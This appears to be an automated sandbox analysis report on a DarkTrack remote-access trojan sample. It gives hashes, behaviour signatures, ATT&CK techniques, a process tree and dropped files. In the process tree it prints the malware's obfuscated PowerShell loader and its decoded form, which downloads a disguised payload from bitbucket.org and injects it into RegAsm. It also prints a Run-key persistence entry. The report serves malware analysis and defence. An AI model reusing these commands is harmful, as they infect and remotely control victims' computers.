darktrack | 2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
20/06/2024, 10:43

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General

Target

2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe
Size

1.8MB
MD5

55a505b3a045610c58e1812790dff7db
SHA1

370436540a97bffb1207b55cc2839ba67b4efe05
SHA256

2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189
SHA512

411c57b4087d7fafce246a3dd3bfd52b93afff129879e948fdfb5b2697971ae0cf343a3f8f2cfaa2b6b73f882d50859133a4ae574e1f8210590411e944172fe0
SSDEEP

49152:h/e3WpjfM3CNz8mPL0VzKV9rRJ9pwnHVL6Q6Dg:h/p1hHDjJ9+nH96Bs

Score

10^/10

darktrack execution persistence rat stealer upx

Malware Config

Signatures

DarkTrack
DarkTrack is a remote administration tool written in delphi.
rat stealer darktrack

DarkTrack payload 4 IoCs

resource	yara_rule
behavioral2/memory/688-75-0x0000000000400000-0x00000000004A8000-memory.dmp	family_darktrack
behavioral2/memory/688-76-0x0000000000400000-0x00000000004A8000-memory.dmp	family_darktrack
behavioral2/memory/688-79-0x0000000000400000-0x00000000004A8000-memory.dmp	family_darktrack
behavioral2/memory/688-77-0x0000000000400000-0x00000000004A8000-memory.dmp	family_darktrack

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	2532	powershell.exe
30	2532	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
228	powershell.exe
2532	powershell.exe
4284	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation	2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DriverBooster32.lnk	2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe

Executes dropped EXE 1 IoCs

pid	Process
1852	putin_hyilo.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/688-70-0x0000000000400000-0x00000000004A8000-memory.dmp	upx
behavioral2/memory/688-72-0x0000000000400000-0x00000000004A8000-memory.dmp	upx
behavioral2/memory/688-75-0x0000000000400000-0x00000000004A8000-memory.dmp	upx
behavioral2/memory/688-76-0x0000000000400000-0x00000000004A8000-memory.dmp	upx
behavioral2/memory/688-79-0x0000000000400000-0x00000000004A8000-memory.dmp	upx
behavioral2/memory/688-77-0x0000000000400000-0x00000000004A8000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	putin_hyilo.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\MyApp = "C:\\ProgramData\\svhost.vbs"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	bitbucket.org
27	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2532 set thread context of 688	2532	powershell.exe	103

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
1756	timeout.exe
5416	timeout.exe
4060	timeout.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
5356	tasklist.exe
4396	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000_Classes\Local Settings	2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1232	WINWORD.EXE
1232	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
228	powershell.exe
228	powershell.exe
2532	powershell.exe
2532	powershell.exe
2532	powershell.exe
4284	powershell.exe
4284	powershell.exe
4284	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
688	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	228	powershell.exe
Token: SeDebugPrivilege	2532	powershell.exe
Token: SeDebugPrivilege	4284	powershell.exe
Token: SeDebugPrivilege	5356	tasklist.exe
Token: SeDebugPrivilege	4396	tasklist.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE
1232	WINWORD.EXE

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 1544 wrote to memory of 1232	1544	2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe	87
PID 1544 wrote to memory of 1232	1544	2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe	87
PID 1544 wrote to memory of 1852	1544	2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe	89
PID 1544 wrote to memory of 1852	1544	2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe	89
PID 1852 wrote to memory of 1032	1852	putin_hyilo.exe	90
PID 1852 wrote to memory of 1032	1852	putin_hyilo.exe	90
PID 1032 wrote to memory of 228	1032	cmd.exe	92
PID 1032 wrote to memory of 228	1032	cmd.exe	92
PID 228 wrote to memory of 2532	228	powershell.exe	94
PID 228 wrote to memory of 2532	228	powershell.exe	94
PID 2532 wrote to memory of 4284	2532	powershell.exe	100
PID 2532 wrote to memory of 4284	2532	powershell.exe	100
PID 2532 wrote to memory of 688	2532	powershell.exe	103
PID 2532 wrote to memory of 688	2532	powershell.exe	103
PID 2532 wrote to memory of 688	2532	powershell.exe	103
PID 2532 wrote to memory of 688	2532	powershell.exe	103
PID 2532 wrote to memory of 688	2532	powershell.exe	103
PID 2532 wrote to memory of 688	2532	powershell.exe	103
PID 2532 wrote to memory of 688	2532	powershell.exe	103
PID 2532 wrote to memory of 1640	2532	powershell.exe	104
PID 2532 wrote to memory of 1640	2532	powershell.exe	104
PID 1640 wrote to memory of 1756	1640	cmd.exe	107
PID 1640 wrote to memory of 1756	1640	cmd.exe	107
PID 1640 wrote to memory of 5356	1640	cmd.exe	113
PID 1640 wrote to memory of 5356	1640	cmd.exe	113
PID 1640 wrote to memory of 5364	1640	cmd.exe	114
PID 1640 wrote to memory of 5364	1640	cmd.exe	114
PID 1640 wrote to memory of 5416	1640	cmd.exe	115
PID 1640 wrote to memory of 5416	1640	cmd.exe	115
PID 1640 wrote to memory of 4396	1640	cmd.exe	122
PID 1640 wrote to memory of 4396	1640	cmd.exe	122
PID 1640 wrote to memory of 1468	1640	cmd.exe	123
PID 1640 wrote to memory of 1468	1640	cmd.exe	123
PID 1640 wrote to memory of 4060	1640	cmd.exe	124
PID 1640 wrote to memory of 4060	1640	cmd.exe	124

C:\Users\Admin\AppData\Local\Temp\2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe
"C:\Users\Admin\AppData\Local\Temp\2fb19586318b7dfd7bbacca8bc49682ce2ac842d72f70348715b12a7e2d9e189.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1544
- C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\trudovaya_kniga.docx" /o ""
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:1232
- C:\Users\Admin\AppData\Local\Temp\putin_hyilo.exe
  C:\Users\Admin\AppData\Local\Temp\putin_hyilo.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c dts.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1032
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#Mw#0#DQ#MQ#3#DI#MQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#LgBt#H##YwBT#EE#bwBy#C8#cwBk#GE#bwBs#G4#dwBv#GQ#LwBq#HI#d#B5#GY#ZwBk#GY#Lw#0#DI#MQ#0#DI#ZgBz#GE#Zg#v#Gc#cgBv#C4#d#Bl#Gs#YwB1#GI#d#Bp#GI#Lw#v#Do#cwBw#HQ#d#Bo#Cc#L##g#Cc#Mg#n#Cw#I##n#HM#dgBo#G8#cwB0#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#x#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:228
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?13441721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.mpcSAor/sdaolnwod/jrtyfgdf/42142fsaf/gro.tekcubtib//:sptth', '2', 'svhost', 'RegAsm', '1'))}}"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2532
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination "'C:\ProgramData\svhost.vbs'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4284
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        Suspicious behavior: GetForegroundWindowSpam
        
        PID:688
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\write.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1640
        
        C:\Windows\system32\timeout.exe
        
        timeout 60
        7⤵
        Delays execution with timeout.exe
        
        PID:1756
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "ImageName eq RegAsm.exe" /fo csv
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5356
        
        C:\Windows\system32\find.exe
        
        find /I "RegAsm.exe"
        7⤵
        
        PID:5364
        
        C:\Windows\system32\timeout.exe
        
        timeout 60
        7⤵
        Delays execution with timeout.exe
        
        PID:5416
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "ImageName eq RegAsm.exe" /fo csv
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4396
        
        C:\Windows\system32\find.exe
        
        find /I "RegAsm.exe"
        7⤵
        
        PID:1468
        
        C:\Windows\system32\timeout.exe
        
        timeout 60
        7⤵
        Delays execution with timeout.exe
        
        PID:4060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2916553c73cc38511c7fc7f3714cdad6

SHA1
efaadea1be55e4a9dd464fc22c8c53b13ff8f2e0

SHA256
18b426579415cb9a5dc499896efd46428ea683719c4566a57ef1f1c4c92b0f02

SHA512
24b17440aebc700e62f138921bd58a2c4edeeb539eef75ddae12176a5270af835ed6fd3fad4bce41afea13cfb5ddae711a910dfd3450be29048886c396b7fe25

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dts.bat

Filesize
12KB

MD5
ac016863ff9cb26ddc1173da42a442d1

SHA1
3fb4058642619f1dc90febe9794742ef172975d2

SHA256
330d3eee12c2d4c05abdac1cd9fbcb88b6f2f257b7f12f06332b9e63ce3b51e7

SHA512
17787a2ec1b757ddab99076afc7f5855dd2b89ccbfd52a6a7374ac2496b5b2c2273062900f29c63b413ed4a1fc627ec323e046febb914dabb7f0927755396603

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD8BB7.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbg2othy.44j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\putin_hyilo.exe

Filesize
176KB

MD5
df5671afa8a8170a515c589e1b342d52

SHA1
ae327ecd6f312f5860fe35bacfa36cb9768852bb

SHA256
6e9d23e7b4a677651ccb362fa6833ca13deef184a45a801cb1d7d1f542210809

SHA512
156499f5e8a28206450e5946d26e12b3da589fb8972cdb85a2beef6f09943f8de5f40938ed402cbe661f4a3c24554f807755c29d2ef8b2a083c5e86d2faf108b

Download Submit
C:\Users\Admin\AppData\Local\Temp\trudovaya_kniga.docx

Filesize
1.5MB

MD5
789497a9ff0bd7df99aa662f512c6856

SHA1
f69cec1046f8e59983fd8cfcae867926495fadd6

SHA256
8646226f4b2b2b96d5e31d4daae0ac5484edc2a7759297e0f63a06358ea61a38

SHA512
71442dec98b3ec16f94ec07380087370c72a48532398f893a9324081f7560f7c620b549770b97356fe5400f6ef7e4935b6339d477298be13966c06f1f5065205

Download Submit
C:\Users\Admin\AppData\Local\Temp\write.bat

Filesize
229B

MD5
c92b88d914fec9e7b49d287306dfdaea

SHA1
b36e872176f6b3c3702e3f4b0fd6097a8e044efb

SHA256
f9b5d572f03798bdb3dfa2e39e66f50f4a20682feb50f3ea91646aea41c1eb35

SHA512
47c9ccc1ad6b130cc1116fd8b4b414f17d04fee6d50a11851fdc8d3bbc55a74d0955eed16c48fa1e36287613933c6ff0c029acd9d0fee2e57dbff89e51d30068

Download Submit
memory/228-30-0x000001FDECCD0000-0x000001FDECCF2000-memory.dmp

Filesize
136KB

Download
memory/688-77-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/688-79-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/688-76-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/688-75-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/688-72-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/688-70-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/1232-14-0x00007FF918790000-0x00007FF918985000-memory.dmp

Filesize
2.0MB

Download
memory/1232-5-0x00007FF8D8810000-0x00007FF8D8820000-memory.dmp

Filesize
64KB

Download
memory/1232-596-0x00007FF918790000-0x00007FF918985000-memory.dmp

Filesize
2.0MB

Download
memory/1232-16-0x00007FF8D5F40000-0x00007FF8D5F50000-memory.dmp

Filesize
64KB

Download
memory/1232-15-0x00007FF918790000-0x00007FF918985000-memory.dmp

Filesize
2.0MB

Download
memory/1232-10-0x00007FF8D8810000-0x00007FF8D8820000-memory.dmp

Filesize
64KB

Download
memory/1232-12-0x00007FF918790000-0x00007FF918985000-memory.dmp

Filesize
2.0MB

Download
memory/1232-13-0x00007FF918790000-0x00007FF918985000-memory.dmp

Filesize
2.0MB

Download
memory/1232-11-0x00007FF918790000-0x00007FF918985000-memory.dmp

Filesize
2.0MB

Download
memory/1232-17-0x00007FF8D5F40000-0x00007FF8D5F50000-memory.dmp

Filesize
64KB

Download
memory/1232-6-0x00007FF8D8810000-0x00007FF8D8820000-memory.dmp

Filesize
64KB

Download
memory/1232-7-0x00007FF8D8810000-0x00007FF8D8820000-memory.dmp

Filesize
64KB

Download
memory/1232-8-0x00007FF8D8810000-0x00007FF8D8820000-memory.dmp

Filesize
64KB

Download
